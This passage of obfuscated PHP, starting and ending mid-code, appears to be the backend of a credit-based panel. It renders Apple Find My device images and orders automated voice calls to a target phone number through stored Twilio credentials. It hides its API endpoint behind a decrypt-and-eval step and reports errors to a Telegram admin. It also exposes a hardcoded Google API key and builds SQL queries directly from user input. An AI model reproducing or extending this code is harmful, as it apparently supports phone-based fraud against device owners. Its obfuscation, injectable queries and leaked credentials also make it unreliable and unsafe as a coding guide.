"\115\x61\151\x6e\x74\x65\x6e\x61\156\143\145\40\117\106\106"; die; } } } goto zPnXO; TC0bl: function WEBREQUEST($url, $POST = '') { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); if ($POST != '') { curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_POSTFIELDS, $POST); } curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $results = curl_exec($c); $httpcode = curl_getinfo($c, CURLINFO_HTTP_CODE); curl_close($c); if ($httpcode == "\x32\60\60") { return $results; } else { return "\x45\162\x72\157\162\72\40{$httpcode}"; } } goto F40Vt; lvTfg: error_reporting(0); goto IuSEz; F40Vt: function shorten($len) { $str = "\x41\x42\x43\104\105\x46\107\110\111\112\113\x4c\x4d\116\117\x50\121\x52\x53\124\x55\x56\x57\x58\131\x5a\x30\61\62\x33\64\x35\66\67\70\x39\x61\142\x63\x64\x65\146\x67\150\151\152\153\x6c\x6d\156\x6f\x70\x71\x72\163\x74\x75\x76\x77\x78\171\x7a"; $shuffled = str_shuffle($str); $max = 62 - $len; $shuf = substr($shuffled, $max); $query = mysqli_query($GLOBALS["\143\157\x6e\x6e\x65\143\x74"], "\x53\105\x4c\x45\103\x54\x20\52\40\x46\x52\117\x4d\x20\140\x6f\162\144\145\x72\163\140\x20\x57\110\x45\x52\x45\x20\140\163\x68\x6f\x72\164\x60\40\114\x49\x4b\105\40\x27\45{$shuf}\45\47"); while ($fetch = mysqli_fetch_array($query)) { $short = str_replace("\150\164\x74\160\163\72\x2f\x2f", '', $fetch["\x73\150\x6f\x72\164"]); $exist = explode("\57", $short); $shuf = substr($shuffled, $max); if ($shuf != $exist[1]) { break; } } return $shuf; } goto lnhNk; TXkzZ: function Encrypt($string) { $code = base64_encode($string); $code = str_replace("\75", "\124\x6c\x72\61\x35", $code); $code = str_replace("\x61", "\113\150\142\x66\163", $code); $code = str_replace("\x65", "\152\142\x42\63\62", $code); $code = str_replace("\151", "\x42\153\x61\x36\x35", $code); $code = str_replace("\x6f", "\62\x33\132\x63", $code); $code = str_replace("\x75", "\61\x4b\163\x74\x63", $code); return base64_encode($code); } goto AINam; n8vHs: define("\104\x42\x5f\125\x53\x45\x52\x4e\101\115\105", "\x6b\150\145\x6e\x73\x65\x72\x76\x65\x72\137\x77\141\x67\155\x6f\144\145\x6c\x65\x74\145"); goto qxfx8; gtJyk: $info = mysqli_fetch_array($q); goto LUQ4J; zA3YE: $InfoAlert = array(); goto kb9FI; UCWZ1: $GoodAlert = array(); goto zA3YE; lnhNk: function voicerequest($POST) { $url = ''; include "\x61\160\151\56\160\x68\x70"; eval("\x24\165\x72\154\x20\75\x20\104\145\143\162\x79\x70\x74\x28\42" . $apidomain . "\42\51\73"); $ch = curl_init($url); curl_setopt($ch, CURLOPT_POSTFIELDS, $POST); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($ch, CURLOPT_TIMEOUT, 60); $myResult = curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpcode != 200) { return "\x62\141\x6c\151\153\72\x20" . $httpcode; } return $myResult; } goto TXkzZ; wALuj: $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); goto GyBK6; In0Ps: $googleAPI = "\101\x49\x7a\x61\123\x79\104\71\64\x48\115\x58\122\x50\x6d\x71\x31\x54\x45\70\x4c\116\x6f\x36\145\131\125\x4d\122\x54\x45\104\x64\105\164\110\x4b\103\121"; goto wALuj; LUQ4J: $maintenance = $info["\163\164\141\x74\165\163"]; goto arhmj; e6WEq: $ARRAY = json_decode($requestBody, true); goto tl1Fz; q_UFE: function GetCountCompare($dbname, $dbrow, $name, $dbrow1, $search) { $connect = $GLOBALS["\x6c\151\x6e\153"]; $fetch = ''; $query = mysqli_query($connect, "\123\x45\x4c\x45\103\124\x20\52\x20\x46\122\x4f\115\40\140{$dbname}\140\40\127\110\x45\122\105\40\140{$dbrow}\x60\40\75\x20\47{$name}\x27\40\x41\116\x44\40\140{$dbrow1}\140\40\75\x20\x27{$search}\x27"); $num = mysqli_num_rows($query); if ($num <= 0) { return false; } return $num; } goto CFlGV; AI1oc: function ExpiredSession($time) { $link = $GLOBALS["\x6c\x69\156\x6b"]; if (session_status() === PHP_SESSION_NONE) { session_start(); } if (!isset($_SESSION["\x75\163\145\162\x6e\x61\x6d\x65"])) { $add = ''; $page = array("{$add}\57", "{$add}\57\x69\x6e\144\x65\x78\x2e\x70\150\x70", "{$add}\57\x73\151\147\x6e\x75\x70\56\x70\150\x70", "{$add}\x2f\x66\x6f\x72\x67\x6f\164\x2e\x70\x68\x70", "{$add}\57\x6d\x61\x69\x6e\164\145\x2e\x70\x68\160", "{$add}\57\x63\x68\x61\x6e\x67\x65\160\141\x73\163\56\x70\x68\x70"); if (!in_array($_SERVER["\x52\x45\x51\x55\105\123\124\137\x55\122\x49"], $page)) { session_destroy(); header("\114\x6f\x63\x61\x74\151\157\x6e\x3a\40\56\x2e\x2f\154\x6f\x67\x6f\x75\x74\x2e\x70\150\160"); return; } return; } else { if (isset($_SESSION["\x75\x73\145\x72\156\x61\x6d\x65"])) { $query = mysqli_query($link, "\x53\x45\114\x45\103\124\x20\x2a\x20\x46\122\117\115\x20\140\165\163\145\x72\163\x60\127\x48\105\x52\105\40\140\x75\163\145\162\x6e\141\x6d\145\x60\40\x3d\x20\47{$_SESSION["\x75\x73\145\162\x6e\141\x6d\x65"]}\x27\40"); $fetch = mysqli_fetch_array($query); if ($fetch) { $_SESSION["\x70\x6c\x61\x6e"] = $fetch["\162\x6f\x6c\145\x73"]; $_SESSION["\144\x6f\155\141\151\x6e\x72\157\154\145"] = $fetch["\144\157\155\x61\x69\156"]; $_SESSION["\x62\141\154\x61\156\x63\145"] = $fetch["\142\x61\x6c\x61\156\x63\x65"]; } else { session_destroy(); header("\x4c\157\143\x61\164\x69\x6f\156\72\x20\56\x2e\57\154\157\x67\x6f\165\x74\56\x70\150\x70"); return; } } else { if (time() - $_SESSION["\164\x69\x6d\x65\162"] > $time) { session_destroy(); header("\x4c\x6f\x63\141\x74\x69\157\x6e\x3a\40\x2e\x2e\57\154\x6f\x67\x6f\x75\164\x2e\160\x68\160"); return; } else { $_SESSION["\164\151\x6d\145\162"] = time(); } } } } goto M4a2j; E4NYM: $q = mysqli_query($link, "\123\105\114\x45\x43\124\x20\52\x20\x46\122\x4f\x4d\x20\140\163\145\162\166\145\x72\x2d\x73\x74\x61\164\165\x73\140\40\127\x48\x45\x52\105\x20\140\x69\144\x60\40\75\x20\x27\61\47"); goto gtJyk; arhmj: if ($maintenance == "\x4f\x4e") { if (isset($_SESSION["\x61\x64\155\151\156"])) { if ($_SESSION["\141\x64\x6d\151\x6e"] != "\141\144\x6d\151\x6e") { header("\x6c\x6f\143\141\164\x69\x6f\x6e\72\40\150\x74\164\160\163\72\57\57{$_SERVER["\x53\105\x52\x56\x45\x52\137\x4e\101\x4d\x45"]}\x2f\x6d\x61\x69\156\x74\x65\x2e\160\x68\x70"); die; } } } else { if ($info["\163\x74\141\164\165\163"] == "\x4f\x46\x46" && isset($_SESSION["\154\x6f\147\147\145\144\151\x6e"])) { } } goto pil76; zPnXO: if (isset($_SESSION["\165\x73\145\162\x6e\x61\x6d\145"])) { if (isset($_POST["\104\141\164\x61"])) { switch ($_POST["\104\x61\x74\x61"]) { case "\103\150\141\156\147\145\103\x6f\154\x6f\x72": $model = $_POST["\x4d\x6f\x64\145\154"]; $brand = "\x57\141\164\143\x68"; if (strpos($model, "\151\x50\x68\157\156\x65") !== false) { $brand = "\x69\120\150\157\156\x65"; } elseif (strpos($model, "\x69\120\141\x64") !== false) { $brand = "\151\x50\x61\x64"; } else { $brand = "\127\141\164\143\x68"; } $screen = $_POST["\123\x63\x72\x65\145\156"]; $back = $_POST["\102\x61\143\x6b"]; $url = "\150\x74\164\160\x73\72\x2f\x2f\163\164\x61\x74\151\143\151\56\151\143\x6c\x6f\x75\x64\x2e\143\157\x6d\57\146\155\x69\160\155\x6f\x62\151\154\x65\57\x64\145\x76\x69\143\145\111\x6d\141\x67\x65\x73\55\71\56\x30\57{$brand}\x2f{$model}\x2d{$screen}\55{$back}\55\60\57\157\x6e\x6c\x69\156\x65\x2d\x69\156\x66\x6f\142\x6f\170\x5f\137\x33\170\56\160\x6e\x67"; if ($screen == "\x64\x65\146\141\165\x6c\164") { $url = "\150\164\x74\160\x73\72\x2f\x2f\x73\x74\141\164\151\x63\151\x2e\151\x63\x6c\157\165\144\x2e\x63\x6f\155\x2f\x66\155\151\x70\155\157\x62\151\x6c\x65\x2f\144\145\x76\151\143\x65\111\x6d\x61\x67\145\163\x2d\71\x2e\60\x2f{$brand}\x2f{$model}\57\x6f\x6e\154\x69\156\145\x2d\151\x6e\146\x6f\x62\x6f\170\x5f\x5f\x33\170\56\x70\x6e\147"; } $img = generateImg($url); die(json_encode(array("\111\x6d\x61\x67\145" => $img))); break; case "\x47\145\164\x41\x64\144\x72\x65\x73\163": $Address = $_POST["\x41\x64\x64\162\145\163\163"]; $response = WEBREQUEST("\150\164\164\x70\x73\x3a\57\x2f\x6d\x61\x70\x73\x2e\147\x6f\x6f\x67\154\145\141\160\x69\x73\56\x63\x6f\x6d\57\x6d\141\160\163\57\x61\x70\151\x2f\147\145\x6f\143\157\144\145\57\152\163\x6f\156\77\141\x64\x64\162\145\x73\x73\x3d" . rawurlencode($Address) . "\46\x6b\145\x79\75{$GLOBALS["\147\157\157\x67\154\x65\101\x50\111"]}"); $json = json_decode($response); $results = $json->results; $lat = ''; $lng = ''; $status = $json->status; if (count($results) > 0) { $lat = $json->results[0]->geometry->location->lat; $lng = $json->results[0]->geometry->location->lng; } $msg = $status != "\117\x4b" ? "\x61\154\145\162\x74\50\x27\101\x64\144\162\145\163\163\x20\x69\156\x63\x6f\162\162\x65\x63\x74\41\x20\120\x6c\145\x61\163\145\40\x74\162\171\40\x61\147\141\151\x6e\x2e\47\x29" : "\141\154\x65\x72\x74\50\47\x41\x64\144\162\x65\163\x73\40\x76\x65\162\151\146\151\145\144\41\x27\x29"; die(json_encode(array("\x52\145\x73\x70\157\156\x73\145" => $msg, "\x4c\x6f\143\141\164\x69\157\x6e" => "{$lat}\174{$lng}"))); break; default: break; } } else { if (isset($_POST["\x4f\x52\x44\105\x52\126\x4f\111\x43\x45"])) { $ORDERVOICE = $_POST["\117\122\x44\x45\x52\126\117\x49\x43\x45"]; $NUMBER = $_POST["\116\x55\115\x42\x45\x52"]; $MODEL = $_POST["\x4d\x4f\104\105\x4c"]; $VOICE = $_POST["\x56\117\x49\x43\x45"]; $NOTE = $_POST["\x4e\x4f\124\x45"]; $SERVICE = $_POST["\123\x45\122\x56\111\x43\x45"]; $SERVER = $_POST["\123\105\122\126\x45\122"]; $username = $_SESSION["\165\x73\x65\162\156\x61\155\145"]; $DATE = CurrentDate(); $query2 = mysqli_query($connect, "\123\105\114\105\103\124\x20\52\x20\106\x52\117\115\x20\x60\x74\x77\x69\x6c\x69\157\140\40\x57\x48\x45\122\105\x20\x60\x6e\141\x6d\x65\x60\40\75\40\47{$SERVER}\x27"); $fetch2 = mysqli_fetch_array($query2); $POST["\x74\x6f\x6b\x65\x6e"] = Encrypt($fetch2["\x74\x6f\x6b\x65\x6e"]); $POST["\163\x69\144"] = Encrypt($fetch2["\x73\x69\144"]); $POST["\x6f\167\x6e\x65\162\x6e\165\155"] = Encrypt($fetch2["\x6e\165\155\x62\x65\162"]); $POST["\x72\165\x6e"] = Encrypt("\157\162\x64\145\162\166\x6f\x69\x63\x65"); $POST["\x52\105\120\117\122\x54"] = $_SERVER["\x48\x54\x54\120\x5f\x48\117\123\x54"]; $POST["\x4e\125\x4d\x42\105\122"] = $NUMBER; $POST["\x4d\117\104\105\114"] = $MODEL; $POST["\126\x4f\111\x43\105"] = $VOICE; $POST["\x53\x45\x52\126\x49\103\x45"] = $SERVICE; $POST["\104\101\x54\105"] = $DATE; $query = mysqli_query($connect, "\123\105\114\105\x43\x54\40\52\40\x46\x52\117\x4d\x20\x60\x75\x73\x65\162\163\x60\40\127\110\105\122\105\x20\140\165\163\x65\162\156\141\155\145\x60\x20\75\x20\x27{$_SESSION["\165\163\x65\x72\156\141\155\x65"]}\x27"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "\x53\x45\114\x45\x43\124\x20\52\x20\x46\122\117\115\x20\140\163\145\162\166\x69\x63\145\x60\x20\x57\x48\x45\x52\105\x20\x60\x6e\x61\155\x65\x60\40\x3d\40\47\166\x6f\151\x63\145\47"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["\x61\x6d\157\165\156\x74"]; $credit = $fetch["\x62\x61\154\x61\156\x63\x65"]; if ($amount > $credit) { die("\124\157\x61\163\x74\x72\50\x27\x43\x72\x65\144\x69\x74\x73\40\156\x6f\x74\40\145\x6e\x6f\165\x67\150\41\xa\12\101\x6d\157\x75\x6e\164\x3a\x20{$amount}\xa\xa\103\162\145\x64\151\164\163\40\114\x65\146\164\x3a\x20{$credit}\x27\54\x27\x27\x2c\47\167\x61\x72\x6e\x69\156\147\47\x29\x3b"); } else { if ($credit >= $amount) { $device = mysqli_fetch_array(mysqli_query($connect, "\123\x45\114\105\x43\124\40\x2a\x20\106\x52\117\x4d\40\140\x64\x65\x76\x69\x63\x65\163\x73\x60\40\127\110\x45\x52\x45\x20\x60\156\x61\x6d\x65\x60\40\75\x20\47{$MODEL}\47")); $DEVICE = $device["\x6d\157\x64\x65\154\163"]; mysqli_query($link, "\x49\116\123\105\x52\x54\40\111\116\x54\x4f\40\x60\166\157\151\143\x65\55\x68\x69\163\x74\157\x72\x79\x60\40\x28\140\x73\x65\x72\x76\145\162\x60\54\x20\140\165\x73\x65\162\x6e\x61\155\x65\x60\x2c\40\140\x73\145\x72\x76\x69\x63\145\x60\54\x20\x60\155\157\x64\145\154\140\54\40\140\x76\x6f\x69\x63\x65\140\x2c\x20\x60\x6e\165\155\142\145\x72\140\54\x20\x60\156\157\x74\145\x60\x2c\x20\140\144\x61\x74\145\140\x29\40\x56\101\114\125\105\123\x28\47{$SERVER}\x27\x2c\x27{$username}\47\54\47{$SERVICE}\47\x2c\x27{$DEVICE}\x27\x2c\47{$VOICE}\47\54\x27{$NUMBER}\47\54\47{$NOTE}\47\x2c\x27{$DATE}\x27\x29"); $check = voicerequest($POST); try { if (str_contains($check, "\142\x61\x6c\x69\153")) { $re = str_replace("\x62\x61\x6c\151\153\x3a\40", '', $check); $reply = "\x55\x6e\141\x75\x74\150\x6f\162\151\x7a\x65\144\40\x61\x63\143\x6f\165\x6e\164\41\x20\x65\162\x72\157\x72\x20{$re}"; die("\124\x6f\x61\x73\x74\x72\x28\x27{$reply}\47\x2c\47\47\x2c\47\167\141\162\x6e\151\x6e\147\x27\x29\x3b"); } $a = json_decode($check, true); $result = $a["\x52\145\x73\165\154\164"]; if ($result == "\105\162\162\157\x72") { die("\124\157\141\x73\x74\x72\50\x27\x50\150\x6f\x6e\x65\x20\143\x61\162\162\x69\x65\x72\x20\x63\x61\156\x6e\157\164\x20\166\145\162\151\146\x79\x2e\40\x4d\141\x6b\145\40\163\165\162\x65\40\x79\157\165\x20\145\x6e\x74\x65\162\x20\x63\x6f\x72\x72\x65\143\x74\x20\x6e\165\x6d\x62\145\x72\x2e\74\x62\x72\x3e\43{$a["\x52\145\141\x73\157\156"]}\47\x2c\x27\47\54\x27\145\x72\x72\x6f\x72\x27\x29"); } if ($result == "\101\x70\x69\105\x72\x72\x6f\162") { $reason = $a["\122\145\x61\x73\157\x6e"]; if (strpos($reason, "\133\x48\124\x54\x50\x20\64\60\61\135") !== false) { $message = "\xe2\x9a\240\40\x57\122\117\x4e\x47\x20\101\x50\x49\40\x41\103\x43\117\125\x4e\x54\41\x20\342\232\240\xa\xa"; $message .= "\xf0\x9f\221\256\xf0\x9f\217\xbe\40\x50\x6f\163\151\164\x69\157\156\72\x20{$fetch["\160\x6f\x73\x69\164\x69\157\156"]}\xa\12"; $message .= "\xf0\237\x91\250\xe2\x80\215\xf0\237\222\xbb\40\125\163\x65\162\156\x61\x6d\x65\72\40{$username}\12\xa"; $message .= "\360\237\x94\x97\40\x44\157\155\x61\x69\x6e\72\x20{$domain}\12\12"; $message .= "\360\x9f\223\241\x20\111\x50\x3a\40{$ip}\xa\xa"; $message .= "\360\x9f\x96\xa5\x20\x42\x72\x6f\x77\163\145\x72\72\40{$user_agent}\xa\12"; $message .= "\x53\111\x44\x3a\x20{$fetch2["\163\x69\144"]}\xa\12"; $message .= "\101\120\x49\x20\122\145\163\x70\157\x6e\163\x65\x3a\40{$reason}\xa\xa"; $message .= "\xf0\x9f\222\xa5\40\101\144\155\151\156\x3a\40\100\153\150\145\x6e\x73\145\162\166\145\x72\40\360\x9f\x92\xa5"; BotMessage($message); $reply = "\111\156\x76\141\x6c\151\144\x20\101\120\x49\x20\101\143\143\157\165\x6e\x74\x21\x20\x50\x6c\x65\141\x73\x65\x20\143\x6f\x6e\x74\141\143\164\x20\x61\x64\155\x69\x6e\x69\163\x74\162\141\x74\x6f\x72\x2e"; die("\124\x6f\x61\x73\164\x72\x28\47\111\x6e\x76\141\x6c\151\x64\x20\x41\x50\x49\40\101\143\x63\157\x75\156\x74\41\40\x50\x6c\x65\x61\163\145\x20\143\x6f\156\164\x61\x63\x74\x20\141\144\155\x69\156\151\x73\x74\x72\141\164\x6f\x72\x2e\47\54\47\x27\x2c\47\x69\156\146\157\x27\51"); } else { if (strpos($reason, "\133\x48\124\124\120\x20\x34\60\64\135") !== false) { die("\124\157\141\x73\x74\162\50\x27\120\x68\x6f\x6e\145\x20\x63\x61\x72\x72\151\145\162\x20\x63\141\x6e\156\157\164\40\x76\145\162\x69\x66\171\x2e\x20\115\141\153\x65\x20\x73\x75\162\x65\x20\171\x6f\x75\x20\x65\x6e\x74\x65\162\40\x63\157\162\162\x65\143\x74\x20\156\165\155\142\x65\162\x2e\x3c\142\162\x3e\x49\x4e\103\x4f\x52\x52\105\x43\x54\x20\116\x55\x4d\102\105\122\56\x27\54\47\47\x2c\47\145\162\162\157\162\x27\51"); } else { $return = str_replace("\x54\167\151\x6c\151\x6f", "{$TELE_USERNAME}", $reason); $return = str_replace("\x27", "\x22", $return); die("\x54\157\x61\x73\164\162\x28\x27\101\x50\x49\40\x41\x63\143\x6f\x75\156\x74\40\150\x61\x73\40\160\162\157\x62\x6c\145\x6d\41\x20\120\x6c\145\x61\x73\x65\x20\143\157\156\164\x61\x63\x74\x20\141\144\155\151\x6e\151\x73\x74\x72\x61\164\157\162\x2e\74\142\162\x3e\40\x45\x72\x72\157\x72\72\40{$return}\x27\54\x27\47\x2c\x27\x77\141\x72\156\151\156\147\x27\x29"); } } return; } else { if ($result == "\123\165\x63\x63\145\163\x73") { $query = mysqli_query($connect, "\x53\105\x4c\x45\x43\124\x20\x2a\40\106\122\x4f\115\x20\x60\x75\x73\145\x72\x73\x60\x20\x57\110\x45\x52\105\40\x60\165\x73\145\162\x6e\x61\x6d\x65\140\x20\x3d\40\47{$_SESSION["\x75\x73\145\162\156\141\x6d\x65"]}\47"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "\123\105\114\x45\x43\124\x20\x2a\x20\x46\122\117\x4d\40\140\163\x65\162\x76\151\x63\145\x60\40\127\x48\105\122\105\x20\140\156\141\155\x65\x60\40\x3d\40\47\x76\x6f\x69\x63\x65\x27"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["\141\x6d\x6f\x75\x6e\164"]; $credit = $fetch["\142\x61\154\x61\156\x63\145"]; if ($credit >= $amount) { $sid = $a["\123\151\x64"]; $newbal = $credit - $amount; mysqli_query($connect, "\x55\120\104\101\x54\105\x20\x60\165\163\x65\x72\163\x60\40\x53\x45\x54\40\140\x62\141\x6c\141\x6e\x63\145\x60\x20\x3d\x20\x27{$newbal}\x27\x20\127\x48\x45\122\105\x20\x60\x75\163\x65\x72\x6e\x61\x6d\145\x60\40\x3d\40\x27{$_SESSION["\x75\163\145\x72\156\141\155\x65"]}\47"); $query = mysqli_query($connect, "\x55\120\104\101\124\105\x20\x60\x76\x6f\x69\143\x65\x2d\150\151\163\164\x6f\x72\x79\140\x20\123\105\124\x20\140\143\x73\x69\144\140\75\x27{$sid}\x27\40\127\110\x45\x52\105\x20\140\x64\x61\164\145\140\x20\x3d\x20\47{$DATE}\47"); die("\124\x6f\141\163\x74\162\50\x27\103\141\154\x6c\x20{$a["\103\141\162\x72\x69\145\162"]}\x20\x4f\162\144\x65\x72\x20\x73\x75\x63\143\145\x73\x73\x21\x20\x59\157\165\162\x20\x6f\162\144\x65\162\40\163\x74\x61\x74\x75\163\40\x63\141\156\x20\142\145\40\143\x68\x65\143\153\40\x69\156\x20\x4f\x72\x64\x65\162\40\110\151\163\x74\x6f\x72\171\x27\54\47\47\54\47\163\x75\x63\143\145\163\x73\x27\51"); } } } } catch (Exception $e) { $message = "\342\x9a\240\x20\x41\x50\x49\40\105\x52\122\x4f\x52\x20\x53\x45\122\x56\x45\122\x21\x20\xe2\232\xa0\xa\xa"; $message .= "\x41\120\x49\40\x52\145\x73\160\x6f\156\163\145\72\40{$check}\12\xa"; $message .= "\360\237\x92\xa5\x20\101\x64\155\151\x6e\72\40\x40\x6b\150\145\x6e\163\x65\162\166\145\162\40\xf0\x9f\222\xa5"; BotMessage($message); $reply = "\x49\156\x76\141\154\x69\144\40\101\x50\111\40\122\x65\163\x70\157\156\163\145\x21\40\120\154\145\141\x73\x65\x20\x63\x6f\x6e\164\x61\143\x74\x20\x61\x64\x6d\151\156\151\163\x74\162\x61\x74\157\162\x2e"; die("\x54\x6f\x61\163\164\162\x28\x27\111\156\166\x61\x6c\x69\144\x20\101\x50\x49\40\x52\145\x73\x70\x6f\156\163\x65\41\40\x50\x6c\145\141\x73\145\40\x63\157\156\164\x61\x63\x74\x20\x61\144\155\x69\x6e\x69\163\x74\x72\141\164\x6f\162\x2e\47\x2c\x27\x27\x2c\x27\145\162\x72\157\x72\47\51"); } return; } } die("\123\165\143\143\x65\x73\x73"); } else { if (isset($_POST["\122\105\x44\x49\101\x4c"])) { $json = explode("\72", $_POST["\122\105\104\x49\x41\114"]); $NUMBER = $json[0]; $DATE = str_replace("\104\101\x54\105\x3d", '', urldecode($json[1])); $username = $_SESSION["\x75\x73\x65\x72\156\141\x6d\x65"]; $query = mysqli_query($connect, "\x53\x45\114\105\103\x54\40\52\x20\x46\x52\117\x4d\40\140\165\163\x65\x72\x73\x60\40\127\x48\105\x52\105\x20\x60\x75\x73\145\x72\156\x61\x6d\x65\140\x20\75\40\x27{$username}\47"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "\123\105\114\105\103\124\x20\52\40\x46\x52\x4f\115\x20\x60\x73\145\162\166\x69\143\x65\x60\40\127\110\x45\122\105\x20\140\156\141\155\145\140\x20\x3d\40\x27\x76\x6f\151\x63\145\x27"); $fetch1 = mysqli_fetch_array($query1); $credit = $fetch["\142\141\154\x61\x6e\x63\145"]; $amount = $fetch1["\141\x6d\157\x75\x6e\x74"]; if ($amount > $credit) { die("\124\x6f\x61\163\x74\162\x28\47\103\162\145\144\151\x74\163\x20\x6e\157\164\x20\x65\x6e\x6f\x75\147\x68\x21\12\12\101\155\157\165\156\x74\72\40{$amount}\12\xa\x43\x72\145\144\x69\164\163\x20\x4c\145\146\164\72\x20{$credit}\x27\x2c\47\x27\x2c\47\x77\141\x72\x6e\151\156\147\x27\51\x3b"); } else { if ($credit >= $amount) { $infos = mysqli_fetch_array(mysqli_query($connect, "\x53\105\114\105\x43\x54\x20\x2a\x20\106\x52\117\x4d\40\140\166\157\x69\x63\x65\55\150\151\x73\x74\x6f\162\x79\140\40\127\x48\105\122\x45\40\x60\x64\141\164\145\x60\x20\75\x20\x27{$DATE}\47")); $device = mysqli_fetch_array(mysqli_query($connect, "\123\x45\x4c\x45\103\124\40\52\40\106\x52\x4f\115\x20\140\144\145\x76\151\x63\x65\x73\x73\140\x20\127\x48\105\x52\x45\x20\140\155\157\x64\x65\x6c\163\x60\40\75\40\47{$infos["\x6d\157\144\145\154"]}\47")); $MODEL = $device["\x6e\141\x6d\145"]; $VOICE = $infos["\x76\x6f\x69\143\x65"]; $SERVICE = $infos["\x73\x65\162\x76\x69\x63\x65"]; $SERVER = $infos["\163\145\162\x76\x65\x72"]; $query2 = mysqli_query($connect, "\123\x45\x4c\x45\x43\124\x20\x2a\40\106\122\117\x4d\x20\140\164\167\x69\x6c\x69\157\x60\40\127\x48\105\122\105\40\140\156\x61\x6d\145\140\x20\x3d\40\x27{$SERVER}\x27"); $fetch2 = mysqli_fetch_array($query2); $POST["\164\157\153\145\156"] = Encrypt($fetch2["\164\x6f\153\x65\156"]); $POST["\163\151\x64"] = Encrypt($fetch2["\163\x69\x64"]); $POST["\x6f\x77\156\x65\162\x6e\165\155"] = Encrypt($fetch2["\156\165\x6d\x62\x65\162"]); $POST["\162\165\156"] = Encrypt("\x6f\x72\144\145\162\166\157\x69\143\x65"); $POST["\x4e\x55\x4d\102\105\122"] = $NUMBER; $POST["\x4d\x4f\x44\105\114"] = $MODEL; $POST["\126\117\x49\103\x45"] = $VOICE; $POST["\123\105\x52\x56\111\103\105"] = $SERVICE; $POST["\x44\101\x54\x45"] = $DATE; $POST["\122\105\x50\117\122\x54"] = $_SERVER["\x48\x54\124\120\x5f\x48\117\x53\124"]; $query = mysqli_query($connect, "\x53\x45\114\105\103\124\x20\52\40\x46\122\117\x4d\40\x60\165\x73\x65\162\x73\x60\40\127\x48\x45\122\105\40\140\x75\x73\x65\x72\156\141\x6d\145\x60\x20\75\x20\x27{$_SESSION["\x75\x73\145\162\156\141\155\x65"]}\x27"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "\x53\x45\114\x45\x43\x54\40\52\x20\106\x52\x4f\x4d\x20\x60\163\x65\x72\166\151\x63\145\140\40\x57\x48\x45\x52\105\x20\140\x6e\x61\155\145\140\x20\75\x20\x27\x76\x6f\x69\x63\x65\47"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["\141\x6d\157\165\x6e\x74"]; $credit = $fetch["\x62\x61\x6c\x61\156\143\x65"]; try { $check = voicerequest($POST); if (str_contains($check, "\x62\141\154\x69\x6b")) { $re = str_replace("\142\141\x6c\x69\153\x3a\40", '', $check); $reply = "\125\156\x61\165\x74\150\157\x72\151\172\145\x64\x20\x61\143\x63\157\165\x6e\x74\41\x20\145\162\162\x6f\x72\40{$re}"; return $reply; } $a = json_decode($check, true); $result = $a["\122\x65\163\x75\x6c\164"]; if ($result == "\105\162\162\x6f\162") { die("\124\x6f\141\163\x74\162\50\x27\x50\150\x6f\x6e\x65\x20\143\x61\162\x72\x69\145\162\40\143\x61\x6e\156\157\x74\x20\x76\145\162\151\x66\171\x2e\x20\x4d\x61\x6b\x65\x20\x73\x75\162\145\x20\x79\x6f\x75\40\145\x6e\164\x65\x72\40\143\157\x72\x72\145\143\164\40\x6e\x75\155\x62\145\162\x2e\x3c\142\x72\76\43{$a["\x52\145\141\163\x6f\156"]}\x27\x2c\x27\x27\54\47\x65\x72\x72\x6f\162\x27\51\73"); } if ($result == "\x41\160\x69\x45\x72\162\157\162") { $reason = $a["\122\145\141\163\x6f\x6e"]; if (strpos($reason, "\133\110\x54\124\120\40\64\x30\61\135") !== false) { $message = "\xe2\232\xa0\40\x57\122\117\x4e\107\40\x41\120\111\40\x41\103\x43\117\125\x4e\124\x21\x20\xe2\232\xa0\xa\xa"; $message .= "\xf0\x9f\x91\256\xf0\x9f\217\xbe\40\120\157\163\x69\x74\x69\x6f\156\72\40{$fetch["\x70\157\163\x69\164\151\x6f\156"]}\xa\12"; $message .= "\xf0\237\x91\250\xe2\200\x8d\xf0\237\x92\273\x20\x55\x73\145\x72\156\141\x6d\x65\x3a\40{$username}\xa\xa"; $message .= "\360\x9f\224\227\x20\x44\x6f\155\141\151\x6e\72\40{$domain}\xa\xa"; $message .= "\xf0\x9f\223\241\x20\111\x50\x3a\x20{$ip}\xa\12"; $message .= "\360\237\226\xa5\40\x42\162\157\x77\x73\x65\x72\72\40{$user_agent}\12\xa"; $message .= "\x53\x49\104\x3a\x20{$fetch2["\163\151\144"]}\xa\12"; $message .= "\x41\x50\x49\x20\122\145\x73\x70\x6f\156\x73\x65\72\x20{$reason}\12\12"; $message .= "\360\237\x92\xa5\x20\101\144\155\x69\x6e\72\x20\x40\153\x68\x65\156\x73\145\162\166\145\162\40\xf0\x9f\222\xa5"; BotMessage($message); $reply .= "\x49\156\x76\x61\154\x69\x64\40\x41\120\111\x20\101\143\x63\x6f\165\156\164\x21\x20\120\x6c\145\x61\x73\145\40\143\157\156\x74\x61\143\164\x20\x61\x64\x6d\151\x6e\151\x73\x74\x72\x61\x74\x6f\x72\56"; die("\x54\x6f\141\163\164\x72\x28\x27\111\x6e\x76\x61\154\151\x64\40\101\120\x49\x20\101\x63\143\x6f\x75\156\164\x21\x20\x50\x6c\145\x61\163\x65\40\143\x6f\x6e\164\x61\143\164\x20\141\x64\x6d\151\x6e\151\x73\x74\162\x61\164\157\162\56\x27\x2c\x27\47\54\47\x65\x72\162\x6f\162\x27\51\x3b"); } else { if (strpos($reason, "\x5b\110\124\x54\120\x20\64\x30\64\135") !== false) { $reply .= 